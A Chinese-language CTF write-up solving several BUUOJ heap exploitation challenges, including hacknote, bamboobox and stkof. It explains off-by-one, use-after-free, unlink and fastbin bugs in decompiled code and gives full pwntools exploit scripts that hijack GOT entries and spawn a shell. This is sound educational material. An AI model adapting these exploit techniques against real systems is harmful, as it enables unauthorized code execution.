io.sendlineafter('Your choice :', str('1'))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap:', content)
def edit(index, size, content):
io.sendlineafter('Your choice :', str('2'))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap : ', content)
def delete(index):
io.sendlineafter('Your choice :', str('3'))
io.sendlineafter('Index :', str(index))
add(0x60, 'aaaa') #0
add(0x60, 'aaaa') #1
delete(1)
fake_chunk = 0x6020ad
edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))
add(0x60, 'aaaa') #1
add(0x60, 'aaaaaaaaaaaaaaaa') #2
io.sendlineafter('Your choice :', p64(4869))
io.interactive()
这是本题的exp：
from pwn import *
context.log_level='debug'
# io = remote('node3.buuoj.cn',27573)
io = process('./easyheap')
elf = ELF('./easyheap')
free_got = elf.got['free']
system_plt = elf.plt['system']
def add(size, content):
io.sendlineafter('Your choice :', str('1'))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap:', content)
def edit(index, size, content):
io.sendlineafter('Your choice :', str('2'))
io.sendlineafter('Index :', str(index))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap : ', content)
def delete(index):
io.sendlineafter('Your choice :', str('3'))
io.sendlineafter('Index :', str(index))
add(0x60, '/bin/sh\x00') #0
add(0x60, 'aaaa') #1
delete(1)
fake_chunk = 0x6020ad
edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))
add(0x60, 'aaaa') #1
add(0x60, 'a' * 0x23 + p64(free_got)) #3
edit(0, len(p64(system_plt)), p64(system_plt))
edit(1, 0x10, '/bin/sh\x00')
delete(1)
io.interactive()
## 0x03 babyfengshui_33c3_2016
同样还是一道菜单题，开启了canary和NX保护，RELRO是Partial RELRO，说明got表可写。
输入0可添加chunk，除了申请一块用户输入大小的chunk外，程序还固定申请一块大小为0x80大小的chunk，然后将用户申请的chunk的地址存入，之后用这块chunk来存储输入的name。然后将这块chunk存入数组ptr中。之后调用edit()进行内容的输入。
_DWORD *__cdecl add(size_t a1)
{
void *s; // [esp+14h] [ebp-14h]
_DWORD *v3; // [esp+18h] [ebp-10h]
s = malloc(a1);
memset(s, 0, a1);
v3 = malloc(0x80u);
memset(v3, 0, 0x80u);
*v3 = s;
*(&ptr + index) = v3;
printf("name: ");
input_name(*(&ptr + index) + 4, 124);
edit(index++);
return v3;
}
edit()函数读取输入长度，然后这段代码重点就在对用户输入长度的判断，它是对输入的存储地址加上输入长度之后的地址不超过储存name的地址。当然这段判断逻辑是建立在两块chunk是挨着的前提下，如果两块chunk之前隔着其他chunk的话，就可能造成堆的溢出。
unsigned int __cdecl edit(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h] BYREF
int v3; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < index && *(&ptr + a1) )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
input_name(**(&ptr + a1), v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
然后就是删除和输出两个函数，很常规，没什么好说的。
这里我们可以先连续申请三块大小为0x80的chunk，此时heap的情况如下：
然后free掉第一块chunk，chunk0和chunk0_name就会触发UNlink进行合并，接着申请一块大小为0x100的chunk，然后分配器就会将将这块chunk分配给用户，然后在chunk2_name之后申请一块chunk作为新申请的chunk的name。这时候对这块chunk进行输入，范围可以覆盖掉之前申请的所有chunk，就造成了溢出。
此时我们可以覆盖掉chunk1_name的chunk1指针内容为free函数的got表地址，然后对其进行输出，接收输出的地址，就可以借助LibcSearcher泄露libc，就可以得到system函数的地址，然后将free函数的got表覆写为system函数的plt表地址，就可以将free函数覆盖为system函数，然后对内容为`/bin/sh`的chunk进行free，就执行了`system("/bin/sh")`来getshell了。
exp:
# -*- coding: UTF-8 -*- from pwn import *
from LibcSearcher import *
# io = process("./babyfengshui_33c3_2016")
io = remote('node3.buuoj.cn', 28616)
elf=ELF('./babyfengshui_33c3_2016')
context.log_level='debug'
free_got = elf.got['free']
def add(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'So4ms')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def delete(index):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(index))
def display(index):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(index))
def edit(index, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(index))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
add(0x80, 0x80, 'aaaa')
add(0x80, 0x80, 'aaaa')
add(0x80, 0x80, '/bin/sh\x00')
delete(0)
add(0x100, 0x19c, 'a' * 0x198 + p32(free_got))
display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))
print(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
edit(1, 4, p32(sys_addr))
delete(2)
io.interactive()
## 0x04 roarctf_2019_easy_pwn
还是一道菜单题，先来看看申请块。这里我对一些命名进行了修改，方便我们进行分析。
这里使用了一个数组`chunk_num_array`来记录申请的chunk的下标是否已经使用，也就是记录了目前有哪些chunk。第二个数组`chunk_size_array`用来记录了对应下标的chunk申请的size大小。第三个chunk就是记录了申请的chunk的地址了。
for ( i = 0; i <= 15; ++i )
{
result = *((unsigned int *)&chunk_num_array + 4 * i);
if ( !(_DWORD)result )
{
printf("size: ");
v3 = input_num(v2);
if ( v3 > 0 )
{
if ( v3 > 4096 )
v3 = 4096;
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
*((_DWORD *)&chunk_num_array + 4 * i) = 1;
*((_DWORD *)&chunk_size_array + 4 * i) = v3;
chunk_array[2 * i] = v4;
printf("the index of ticket is %d \n", (unsigned int)i);
}
return (unsigned int)i;
}
}
然后就是对chunk的内容进行修改，这里进行输入长度判断的函数`check_size()`
对我们输入内容的长度进行检查，当我们输入的长度大小刚好大于申请大小十个字节时，存在off-by-one漏洞，溢出一字节。
__int64 __fastcall check_size(int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
先申请四块chunk，这里我们对第0块chunk进行输入，进行单字节溢出，对第一块chunk的size位进行修改。这里我们第一块chunk大小申请为0x58的原因是我们想达成下图所示效果，溢出能覆盖到下一chunk的size位。如果多一字节这块chunk的大小就变为0x71大小了，无法完成覆盖。
在将第一块chunk进行free时，可以将第一块和第二块chunk一起放入fastbins中。因为对chunk进行申请时使用的是`calloc()`
函数，会先将内存中的内容清空再进行分配，所以我们不能直接申请后输出unsortedbin头的地址，我们可以先将chunk1申请出来，然后chunk2还在unsortedbin中，fd和bk指针还指向着unsortedbin头的地址，而且我们还可以对这块chunk进行输出编辑，于是我们可以将unsortedbin头的地址输出，然后借此泄露出libc的基址。
这里我们可以使用一个工具来计算main_arean和libc的偏移
[main_arena_offset](https://github.com/bash-c/main_arena_offset
"main_arena_offset")。
有了libc的基址，我们就可以往`__malloc_hook`中写入one_gadget的地址，由于这题one_gadget的条件不满足，所以我们可以利用
realloc 函数调整 rsp。
我们可以选择 `realloc + 2` 的地址写入`__malloc_hook`中，这里我们少执行了一条 `push r15`
，rsp的地址就被抬高了八个字节，可以通过这种方式来尝试满足one_gadget的执行条件。
先把 one_gadget 写到 realloc_hook 中，然后把 realloc_hook 写到 malloc_hook 中，当去执行 malloc
的时候会先去执行 malloc_hook（这里就是 realloc_hook），然后执行 realloc_hook 里的 one_gadget 从而拿到
shell。
exp:
from pwn import *
from LibcSearcher import *
# io = process('./easypwn')
io = remote('node3.buuoj.cn',28175)
libc = ELF('./libc-2.23.so')
malloc_hook = libc.symbols['__malloc_hook']
realloc = libc.symbols['__libc_realloc']
def add(size):
io.sendlineafter('choice: ',str(1))
io.sendlineafter('size: ',str(size))
def edit(index,size,content):
io.sendlineafter('choice: ',str(2))
io.sendlineafter('index: ',str(index))
io.sendlineafter('size: ',str(size))
io.sendlineafter('content: ',content)
def delete(index):
io.sendlineafter('choice: ',str(3))
io.sendlineafter('index: ',str(index))
def display(index):
io.sendlineafter('choice: ',str(4))
io.sendlineafter('index: ',str(index))
add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3
edit(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
delete(1)
add(0x60) #1
gdb.attach(io)
display(2)
io.recvuntil("content: ")
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
print(hex(libc_base))
realloc = libc_base + realloc
one = 0x4526a + libc_base
fake_chunk = address - 0x8b
add(0x60) #4 / 2
delete(2)
edit(4, 0x8, p64(fake_chunk))
# gdb.attach(io)
add(0x60) # 2 / 4
add(0x60) # fake / 5
payload = '\x00'*11 + p64(one) + p64(realloc + 2)
edit(5, len(payload), payload)
# gdb.attach(io)
add(255)
io.interactive()
## 0x05 ciscn_2019_n_3
这题相对比较简单，也是一道菜单题（heap都是菜单题吗（小声bb
开头给了system函数还是挺好的。
这里使用了records数组来记录申请的chunk的下标，为数组中的每一个元素申请了0xc大小的空间，刚好三个单位的大小，依次存放了输出函数、free函数和申请的chunk地址。
records[v2] = (int)malloc(0xCu);
v3 = (int *)records[v2];
*v3 = (int)rec_int_print;
v3[1] = (int)rec_int_free;
来看看chunk的free函数，将chunk进行free，但是没有进行置空，也就是说存在UAF漏洞，再结合函数指针，我们可以将rec_int_print或者rec_int_free的地址修改为system函数的地址，然后进行输出或者free时就可以getshell了。
int __cdecl rec_str_free(void *ptr)
{
free(*((void **)ptr + 2));
free(ptr);
return puts("Note freed!");
}
这里我们可以先申请三个chunk，然后free掉后两个chunk，由于bin的FILO机制，我们再一次进行申请的时候，会先将二号chunk的0xc大小的头给申请出来，然后会将一号chunk的头申请出来给三号chunk作为存储内容的chunk，这时我们进行输入，也就是可以覆盖一号chunk的函数指针，我们将fd处修改为bash字符串，bk处修改为system函数地址，free一号chunk，即可getshell。
exp：
from pwn import *
io = process('./ciscn_2019_n_3')
io = remote('node3.buuoj.cn', 28466)
elf = ELF('./ciscn_2019_n_3')
def add(id, type, content, length):
io.recvuntil("> ")
io.sendline('1')
io.recvuntil("> ")
io.sendline(str(id))
io.recvuntil("> ")
if(type == 1):
io.sendline(str(type))
io.recvuntil("> ")
io.sendline(str(content))
else:
io.sendline(str(type))
io.recvuntil("> ")
io.sendline(str(length))
io.recvuntil("> ")
io.sendline(str(content))
def show(id):
io.sendlineafter('> ','3')
io.sendlineafter('> ',str(id))
def delete(id):
io.sendlineafter('> ','2')
io.sendlineafter('> ',str(id))
add(0, 2, 'aaaa', 0x88)
add(1, 2, 'aaaa', 0x38)
add(2, 1, 0x41, 0)
delete(1)
delete(2)
add(3, 2, 'bash' + p32(elf.plt['system']), 0xc)
delete(1)
io.interactive()
## 0x06 hitcontraining_magicheap
还是一道菜单堆题，而且当我们输入4869时，程序会判断位于bss段的参数magic是否大于0x1305，大于则调用函数 `l33t()`
，和上面那题[ZJCTF 2019]EasyHeap差不多，而且这次是给了shell，不是给了假的flag位置，直接fastbin attack就可以了。
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# io = process('./magicheap')
io = remote('node3.buuoj.cn', 25599)
def add(size, content):
io.sendlineafter('Your choice :', '1')
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap:', content)
def edit(id, size, content):
io.sendlineafter('Your choice :', '2')
io.sendlineafter('Index :', str(id))
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap : ', content)
def delete(id):
io.sendlineafter('Your choice :', '3')
io.sendlineafter('Index :', str(id))
fake_chunk = 0x6020a0 - 0x13
add(0x60, 'aaaa') # 0
add(0x60, 'aaaa') # 1
add(0x10, 'aaaa') # 2
delete(1)
edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))
add(0x60, 'aaaa') # 1
add(0x60, 'a' * 0x14) # 3 / fake
io.sendlineafter(':', '4869')
io.interactive()
## 0x07 hitcontraining_heapcreator
还是一道菜单堆题。
看一下create函数，这里先malloc了大小为0x10的空间，也就是大小为0x20的chunk，然后存入数组heaparray。然后输入我们想要申请的大小，申请完成后将申请的大小和申请的chunk的content地址依次存入之前申请的0x20的chunk中。
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = (__int64)*(&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&heaparray + i) + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)*(&heaparray + i) = size;
printf("Content of heap:");
read_input(*((void **)*(&heaparray + i) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
再来看看edit函数，重点看看这段输入的代码，提交的输入长度为申请的大小加一，也就是说存在off-by-one漏洞，刚好溢出一字节。
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);
puts("Done !");
}
delete函数中，free掉chunk时，会将预先申请的0x20的chunk和申请的chunk一起free掉。
if ( *(&heaparray + v1) )
{
free(*((void **)*(&heaparray + v1) + 1));
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
于是我们可以先申请一块大小为0xx8（x任选）的chunk，这样溢出一字节就能够覆盖下一块chunk的size位，然后伪造chunk的大小，在经过free后再次申请伪造大小的chunk，从而产生
chunk overlap。
我们可以先申请四块chunk，大小依次为0x18、0x10、0x10、0x10。布局如下
然后我们对chunk0进行输入，溢出一字节，覆盖chunk1_header的size位为0x81，然后将chunk1
free掉，chunk1_header同时也被free掉，然后这就有了一块大小为0x80的空闲chunk。我们申请大小为0x70的chunk，就可以申请到这块空间。这时下图所示的黄色区域都是我们申请来的chunk，我们想要修改got表，可以将free函数的got表地址写入chunk2_header的原存储chunk2地址处，这样我们对chunk2进行输出时，实际上就是输出free函数的实际地址，泄露出libc的基址，然后将system函数写入，进行free时实际上就是运行了system函数，从而进行getshell。
exp：
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process('./heapcreator')
io = remote('node3.buuoj.cn', 29320)
elf = ELF('./heapcreator')
free_got = elf.got['free']
def add(size, content):
io.sendlineafter('Your choice :', '1')
io.sendlineafter('Size of Heap : ', str(size))
io.sendlineafter('Content of heap:', content)
def edit(index, content):
io.sendlineafter('Your choice :', '2')
io.sendlineafter('Index :', str(index))
io.sendlineafter('Content of heap : ', content)
def display(index):
io.sendlineafter('Your choice :', '3')
io.sendlineafter('Index :', str(index))
def delete(index):
io.sendlineafter('Your choice :', '4')
io.sendlineafter('Index :', str(index))
add(0x18, 'aaaa') # 0
add(0x10, 'bbbb') # 1
add(0x10, 'cccc') # 2
add(0x10, '/bin/sh') # 3
edit(0, 'a' * 0x18 + '\x81')
delete(1)
payload = 'a' * 0x40 + p64(8) + p64(free_got)
add(0x70, payload) # 1
display(2)
io.recvuntil('Content : ')
free_addr = u64(io.recvuntil('Done')[:-5].ljust(8,'\x00'))
print(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system = libc_base + libc.dump('system')
print(hex(system))
edit(2, p64(system))
delete(3)
io.interactive()
## 0x08 0ctf_2017_babyheap
同[babyheap_0ctf_2017](https://so4ms.top/index.php/2021/04/06/pwn%e5%ad%a6%e4%b9%a0-buuoj%ef%bc%88heap%ef%bc%89/#toc-head-1 "babyheap_0ctf_2017")
## 0x09 hitcontraining_bamboobox
还是一道菜单堆题，先来看看申请chunk，这一块代码，用了itemlist来存储申请的chunk的大小和chunk的content地址。
for ( i = 0; i <= 99; ++i )
{
if ( !itemlist[2 * i + 1] )
{
LODWORD(itemlist[2 * i]) = v2;
itemlist[2 * i + 1] = (char *)malloc(v2);
printf("Please enter the name of item:");
itemlist[2 * i + 1][(int)read(0, itemlist[2 * i + 1], v2)] = 0;
++num;
return 0LL;
}
}
然后是修改chunk内容的代码，这里没有对我们的输入大小范围进行限制，存在溢出。
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( itemlist[2 * v1 + 1] )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
itemlist[2 * v1 + 1][(int)read(0, itemlist[2 * v1 + 1], v2)] = 0;
}
else
{
puts("invaild index");
}
}
然后输出数据的话是将所有数据输出，free chunk的话会将将itemlist李置零，且将chunk的内容置零。
这题可以用House Of Force来做，可以执行magic函数，但是flag又不在那个目录下，因此我们可以用UNlink来做。
首先我们先申请四块chunk，对编号为1的chunk1进行输入，伪造一块chunk，fd和bk分别指向这块地址-0x18和-0x10处，然后覆盖下一块chunk的pre_siez位和size位，把这块fake_chunk伪造成一块free掉的chunk，然后free
chunk2，触发UNlink。
payload为
`payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 -0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)`
此时itemlist的原本chunk1的地方，地址就变为了itemlist的地址，也就是说我们对chunk1进行修改，也就是对itemlist进行修改，我们可以将free函数的got表地址写入chunk0处，然后进行输出，就能够泄露出libc的基址了，然后得到system函数的真实地址，写入free函数的got表，free函数就被劫持为system函数了，即可getshell。
exp:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
# io = process('./bamboobox')
io = remote('node3.buuoj.cn', 25016)
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')
free_got = elf.got['free']
def show():
io.sendlineafter('Your choice:', '1')
def add(size, content):
io.sendlineafter('Your choice:', '2')
io.sendlineafter('Please enter the length of item name:', str(size))
io.sendafter('Please enter the name of item:', content)
def edit(index, size, content):
io.sendlineafter('Your choice:', '3')
io.sendlineafter('Please enter the index of item:', str(index))
io.sendlineafter('Please enter the length of item name:', str(size))
io.sendafter('Please enter the new name of the item:', content)
def delete(index):
io.sendlineafter('Your choice:', '4')
io.sendafter('Please enter the index of item:', str(index))
array = 0x6020C0
add(0x30, 'aaaa') # 0
add(0x30, 'aaaa') # 1
add(0x80, 'aaaa') # 2
add(0x20, '/bin/sh') # 3
payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 - 0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)
edit(1, len(payload), payload)
delete(2)
# gdb.attach(io)
edit(1, 0x100, p64(0x20) + p64(free_got))#1
show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
edit(0, 8, p64(system))
delete(3)
io.interactive()
## 0x0a pwnable_hacknote
还是道菜单堆题，但是这次只有添加、删除、输出三个功能了。
先来看看添加，会先malloc一块大小为8的空间，然后把返回的地址存入ptr数组中，然后将函数 `sub_804862B()`
的地址存入这块申请的空间，之后输入输入内容的大小，没有溢出，之后输入输入内容，并将chunk的content的地址存入先前申请的空间的第二个四字节处。
unsigned int add()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
再来看看删除功能，这里只是单纯将两块chunk给free掉了，并没有置零，也没有在ptr数组中将其删去，明显的UAF漏洞。
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
然后看看输出函数，这里他是利用固定申请的那块chunk里存的那个函数来进行输出，那么思路就出来了，利用UAF，覆盖掉这个函数的地址为puts函数的got表地址，然后就可以泄露出libc的基址了。
unsigned int display()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}
我们先申请两块大小为24的chunk，然后依次free掉两块chunk，这时堆空间的分布情况如下，然后根据FILO的原则，如果我们此时申请大小为8，那么就会先申请chunk1_header作为chunk2_header的空间，而chunk0_header就会作为chunk2的空间，此时我们进行输入，就会覆盖chunk0_header的内容，而由于存在UAF漏洞，且ptr数组没有删去已经free掉的数据，我们就可以覆盖chunk0_header里存储的chunk0的地址为puts函数的got表地址，输出chunk0的数据，就把puts函数的真实地址泄露出来了，就得到了libc的基址，如法炮制将chunk0_header的输出函数地址覆盖为system函数的地址，后面修改为`||sh`
字符串即可getshell。
这里之所以是`||sh`
字符串，是因为在输出函数中，参数传入的是该note的地址，他会对该地址进行加4处理，才对应到我们输入的内容的地址，当我们将其修改为system函数的地址后，参数就是system函数的地址所在的地址了，而把该地址中的内容当做字符串就是`p32(system)||sh`，当system执行
p32(system)||sh ，因为无法解析p32(system)，就会转而执行sh，这样我们就拿到了shell。
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}
exp:
from pwn import *
context(log_level='debug', arch='i386', os='linux')
io = process('./hacknote')
io = remote('node3.buuoj.cn', 26831)
elf = ELF('./hacknote')
libc = ELF('./libc-2.23-32.so')
def add(size, content):
io.sendlineafter('Your choice :', str(1))
io.sendafter('Note size :', str(size))
io.sendafter('Content :', content)
def delete(index):
io.sendlineafter('Your choice :', str(2))
io.sendlineafter('Index :', str(index))
def display(index):
io.sendlineafter('Your choice :', str(3))
io.sendlineafter('Index :', str(index))
add(24, 'a' * 24)
add(24, 'b' * 24)
delete(0)
delete(1)
# gdb.attach(io)
add(8, p32(0x804862B) + p32(elf.got["puts"]))
display(0)
libc_base = u32(io.recvuntil("\xf7")[-4: ]) - libc.symbols["puts"]
info("libc_base -> 0x%x" % libc_base)
delete(2)
print(hex(libc.symbols['system'] + libc_base))
payload = p32(libc.symbols['system'] + libc_base) + '||sh'
add(8, payload)
# gdb.attach(io)
display(0)
io.interactive()
## 0x0b hitcon2014_stkof
还是一道菜单堆题，但是这次只给了添加，修改，删除三个功能，第四个选项没有什么用，不会给我们输出chunk的内容。
先来看看添加函数的代码，它用了一个数组来存储我们申请的内存，而且这里对数组下标进行修改是先进行自增再进行数组内容修改，也就是说数组下标为0处没有内容。
__int64 add()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&chunk_array)[++index] = v2;
printf("%d\n", (unsigned int)index);
return 0LL;
}
``
然后来看看修改函数，这里对内容的修改没有对我们输入的长度大小进行判断，存在溢出。
```c
__int64 edit()
{
__int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&chunk_array)[v2] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
size = atoll(s);
ptr = (&chunk_array)[v2];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
再来看看删除的函数，在free掉chunk后也对数组进行了置零处理。
__int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v1 = atol(s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&chunk_array)[v1] )
return 0xFFFFFFFFLL;
free((&chunk_array)[v1]);
(&chunk_array)[v1] = 0LL;
return 0LL;
}
由于没有给我们输出功能，我们想要通过输出got表地址来得到libc的基址，就要想办法去输出chunk的内容，我们可以通过UNlink来拿到数组的修改能力，然后将free函数、puts函数、atoi函数的got表地址写入数组，然后通过修改函数对free函数的got表进行改写，将puts函数的plt表地址写入，这样当我们调用free函数时实际上就是调用了puts函数，就实现了输出功能。
如图三个函数的got表已经被我们写入数组。
修改完free函数的got表后，free掉chunk1，就能将puts函数的实际地址输出，就得到了libc的基址。这里有一个小地方可以稍微注意一下，接收数据时，他是先输出一个回车，然后输出地址，然后输出`'OK\n'`，最开始没注意，困在这好久，
有了libc后，就有了system函数的地址，写入atoi函数的got表，然后输入字符串`/bin/sh`即可getshell。
exp:
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
# io = process('./stkof')
io = remote('node3.buuoj.cn', 27229)
elf = ELF('./stkof')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
def add(size):
io.sendline(str(1))
io.sendline(str(size))
io.recvuntil('OK')
def edit(index, size, content):
io.sendline(str(2))
io.sendline(str(index))
io.sendline(str(size))
io.send(content)
io.recvuntil('OK')
def delete(index):
io.sendline(str(3))
io.sendline(str(index))
array = 0x602148
add(0x10) # 1
add(0x30) # 2
add(0x80) # 3
add(0x20) # 4
fake_chunk = p64(0) + p64(0x30) + p64(array + 8 - 0x18)
fake_chunk += p64(array + 8 - 0x10) + 'a' * 0x10 + p64(0x30) + p64(0x90)
edit(2, len(fake_chunk), fake_chunk)
delete(3)
io.recvuntil('OK')
payload = 'a' * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload), payload)
edit(0, len(p64(puts_plt)), p64(puts_plt))
# gdb.attach(io, 'b *0x400c85')
delete(1)
io.recvuntil('\n')
puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
edit(2, 8, p64(system))
io.sendline('/bin/sh')
io.interactive()
## 0x0c ciscn_2019_es_1
这题环境是Ubuntu18，libc的版本是2.29，相比2.23多了一个tcache机制，用于链接空闲的 chunk 结构体，其中的 next
指针指向下一个大小相同的 chunk，具体可见 ctfwiki。
> tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术，目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查
> ————ctfwiki
本题的漏洞在 `call()`
函数中，也就是对chunk进行删除的函数，在进行free后并没有对chunk进行置零处理，也没有修改数组中的值，明显的UAF漏洞。
unsigned __int64 call()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( (&heap_addr)[v1] )
free(*(void **)(&heap_addr)[v1]);
puts("You try it!");
